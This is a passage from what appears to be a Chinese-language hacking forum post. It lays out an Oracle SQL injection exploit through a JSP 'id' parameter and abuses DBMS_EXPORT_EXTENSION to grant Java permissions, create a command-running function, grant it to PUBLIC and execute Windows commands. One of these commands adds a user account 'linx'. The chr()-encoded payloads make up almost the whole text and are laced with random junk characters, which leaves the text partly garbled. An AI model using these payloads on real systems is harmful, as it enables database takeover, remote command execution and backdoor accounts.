- _8 F% c- Q0 q0 j- }chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||; ^' Y* `0 t3 J0 E1 I, W( [
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
4 j0 [: x3 E5 A; @: Fchr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)/ h7 G" N8 X) s( N4 p+ W( }
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
* J9 `0 F) \' _! v) `2 {7 Z
% T% ^, G3 o: w/ a8 })
; w9 A. _$ Q. _% J3 O; ~* X6 {- g" J# i" Y5 Q( `- y
------------------------------
- F& k' {! v$ S4 @7 l, P* Q; e+ z7 z: q7 ~6 B
2.赋Java权限9 u6 w0 ^, u) T, |3 i
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
# x5 n( o, W4 u5 R$ I" G
- p, H1 x2 i& rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* T7 j  x8 N: G5 O
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||$ c/ ^; i' c$ l( V6 t
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 }3 T  R1 h% \- ^( h5 B% Y1 ~chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||4 z$ p3 C- C" r! F: V
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
% x/ m, n2 m7 x' f5 F* b0 ~( p" \chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
+ V% {. {1 D8 q: c7 ichr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
6 _4 V, ^* {7 [2 J: P! z& Z3 gchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||+ k8 w( j. y# d8 L
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
& E, F- q; [1 |* {- fchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)+ c8 x" y- \# Z* c& ]! j# _# g/ K
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual7 Y" m5 a# J* R5 r
% ?2 r* Q5 ~5 r$ z4 F3 b( n: S
)" x! U" y! ^1 c) v5 M& ]7 q

5 u, n" z5 X1 C0 V- preadfile函数的ascii版就不写了,见谅。6 I4 t1 n, D% C' G# T6 ^

4 }! z! @: P: f. G3.创建函数
( d- e! p" S7 E* b2 m, f( v" a* V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& }5 w7 W$ X! L2 ?, qchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||8 W; ?4 }! \- G
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
! V& y+ P6 A! h5 ~# O  Pchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
4 m1 a# Q# ~! ~2 u# uchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
; h$ J6 S8 x- d/ Rchr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||8 O' R8 J/ e) E7 s
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
, s- x0 ^. l" schr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
  ]; S% |, {, X, n; dchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
0 f' z7 }. }3 Rchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||& H+ {5 m2 ^6 E4 R
chr(59)||chr(45)||chr(45)) g8 W& z5 p. ]
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
4 h4 t2 i0 {3 y/ M' e
) ]  x* r; C0 c% w* R/ _" N$ k' {" [
- K% [, t: r$ m* [  r/ [+ ?
4.赋public执行函数的权限7 q( ]1 v0 v. W& ]; E; Q
- a5 C+ x# n! Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ a& T& k4 m- l/ V! s
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||6 U) g* Z' q- a1 R3 e0 w' Z
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||( ^1 [. m6 y8 z$ Q9 q* Q
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||& Y3 a. F1 f3 t' F& K+ M, F
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
: j+ n* D! q- e2 }( c' rchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
9 u# \  U: x+ X$ u" `. t5 Tchr(59)||chr(45)||chr(45)
1 p! z# d  C; j7 ],chr(83)||chr(89)||chr(83),0,chr(49),0) from dual7 u/ F  [* Y) Z
4 e4 H  F. a" y6 ~( C9 [6 U

5 ~/ Z+ q% p$ n: g( }: m2 k5 }/ I2 u
; i0 Y) ^5 L0 s, k! t  l! O5.执行命令:, k1 [% ~% U5 z7 H
' I9 [4 t0 ]9 s4 k% z4 W
/xxx.jsp?id=1 and chr(49)<>chr(32)||(
% X* R2 ]7 O# B6 Q3 E" Hselect sys.LinxRunCMD('cmd /c net user linx /add') from dual5 p5 U$ z( W+ E) O
)
7 U) Y1 `0 |( n  D0 `8 {" ^$ ]7 z: H
! ]# f! m  h- {2 H
/xxx.jsp?id=1 and chr(49)<>chr(32)||(# ?# u9 h) E1 H6 X& H
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
- P, s7 d# i  _  Z+ B; A: u0 r)% U0 \" V2 O- ~/ }. G0 o# i* \
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